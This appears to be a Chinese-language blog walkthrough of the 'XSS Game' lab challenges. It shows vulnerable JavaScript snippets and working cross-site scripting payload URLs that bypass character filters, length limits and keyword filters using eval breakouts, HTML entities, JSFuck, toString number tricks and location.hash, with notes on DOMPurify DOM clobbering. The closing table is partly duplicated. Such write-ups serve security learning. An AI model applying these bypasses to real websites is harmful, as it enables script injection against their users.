XSS Game

hugo server --bind 0.0.0.0 --baseURL http://192.168.239.128:1313/

Ma Spaghet!


<h2 id="spaghet">h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
script>

没有什么过滤,直接输入就行

payload:

http://192.168.239.128/xss.html?somebody=%3Cimg%20src=1%20onerror=alert(1337)%3E

XSS Game_第1张图片

Jefff


<h2 id="maname">h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
script>

输入会进入eval中,不用在标签处实现,直接闭合eval内部即可

payload:

http://192.168.239.128/xss.html?jeff=%22;alert(1);%22
http://192.168.239.128/xss.html?jeff=%22;alert(1);//

1.闭合最后一个双引号

2.直接注释

Ugandan Knuckles


<div id="uganda">div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `${wey}" class="form-control">`
script>

过滤了<>

直接使用input属性即可,为了实现无交互,用到了onfocus和autofocus属性,聚焦和自动聚焦

payload:

http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus%22
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus%20%22
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus=
http://192.168.239.128/xss.html?wey=%22onfocus=alert(1)%20autofocus="

在这里插入图片描述

1.不行,其余三种都可以

原因:

html标签,会使用空格将属性分割,没有空格时把""也认为属性名的一部分了,但有了空格或者=就可以正确识别

Ricardo Milos


<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
script>

将get参数的东西,赋值给form表单的action,一般是执行的后端代码,如login.php,因此支持JavaScript伪协议

payload:

http://192.168.239.128/xss.html?ricardo=javascript:alert(1337)

Ah That’s Hawt


<h2 id="will">h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
script>

过滤了()\`,不能使用alert()
由于在js中不能将符号编码,也就是unicode,而urlencode是在浏览器就编解码了,所以使用html实体编码来实现绕过

payload:

http://192.168.239.128/xss.html?markassbrownlee=%3Csvg%20onload%3D%22alert%26%2340%3B1%26%2341%3B%22%3E

注意:

  1. 是get传参,因此对于实体编码有特殊符号的,必须进行urlencode

  2. 不能对<进行实体编码不然进入不了标签开始状态

Ligma

/* Challenge */
<script>
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
script>

过滤了所有大小写字母和数字,但是没有限制输入长度,使用在线网站jsfuck.com,

payload:

http://192.168.239.128/xss.html?balls=urlencode(jsfuck的结果)//结果太长不展示

Mafia

/* Challenge */
<script>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
script>

对于一些符号还有alert进行了过滤且限制了长度

对于alert可替换的有confirm,prompt,因此可以直接解决这道题,但考点还有其他,默认全部过滤了

1. 大小写转换

Function(/ALERT(1337)/.source.toLowerCase())()

分析:

  • Function —— 构造函数
    • 这是一个 内置的构造器,用来动态生成函数
    • Function可以在运行时动态生成函数(像 eval 一样执行字符串)。
  • function —— 关键字声明
    • 这是 JavaScript 的语法关键字,可以用来 声明函数函数表达式

/ALERT(1337)/.source.toLowerCase()

/ALERT(1337)/是个正则表达式,.source处理后会去掉/ /,然后再对ALERT(1337)进行转小写

()

进行调用

(function(){eval(/ALERT(1337)/.source.toLowerCase())})()

如果要使用function,需要这样使用,但是这样的话是56个字符不符合长度限制
经过测试取消长度限制可以成功弹出

2. 进制转换

eval(8680439..toString(30))(1337)

分析:

  • 如果是8680439.toString(30),一个.

​ 在 JavaScript 里会被解释为:

(8680439.)toString(30)

.toString 会被认为是小数点的一部分8680439.,JavaScript 无法分辨。

**告诉 JS:这个点不是小数点,是属性访问符**,就需要再加一个点

第一个 . 是数字的结尾 8680439.

第二个 . 是访问属性 toString

  • 30

​ alert中字母最大的t对应的进制是30,所以进制比30大都可以

​ 比如a对应11进制,b对应12进制…t对应30进制

  • 8680439

​ 则是alert对应30进制数

3. location.hash

mafia=eval(location.hash.slice(1))#alert(1)

location.hash从地址栏中读取#及其后面的值,使用slice(1)就是去掉#

对于代码来说,传入的参数值是eval(location.hash.slice(1)),符合过滤要求

Ok, Boomer


<h2 id="boomer">Ok, Boomer.h2>
<script src="./purity.min.js">script>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
script>

DOMPurify框架过滤了可以直接XSS的点,考虑DOM破坏

payload:


标签满足条件:

  • tostring要被重写,默认tostring是输出整个标签,在setTimeout没有办法被执行。
    • area和a标签都重写了,但是area是空标签,仅用于map元素内,没法利用
    • a标签的tostring,是输出href属性值
  • a标签里面的属性值也要符合框架过滤
  • href里面使用的协议要通过框架过滤,所以要使用白名单中的协议
    • mailto、tel、cid、ftp、http、https、sms、xmpp、 callto、matrix

补充

函数 对参数的处理
eval(x) 只在 x字符串 时才会执行代码,否则直接返回 x(不调用 toString)。
alert(x) 会自动将 x 转换为字符串,相当于 alert(String(x))。会调用 toStringvalueOf
setTimeout(x, t) 如果 x 是函数,就直接调用。如果 x 是字符串,隐式 toString()eval(String(x))。在严格的现代环境(比如 Chrome 严格 CSP 下)会报错
| 只在 `x` 是 **字符串** 时才会执行代码,否则直接返回 `x`(不调用 `toString`)。 |

| alert(x) | 会自动将 x 转换为字符串,相当于 alert(String(x))。会调用 toStringvalueOf。 |
| setTimeout(x, t) | 如果 x 是函数,就直接调用。如果 x 是字符串,隐式 toString()eval(String(x))。在严格的现代环境(比如 Chrome 严格 CSP 下)会报错 |

你可能感兴趣的:(xss,前端)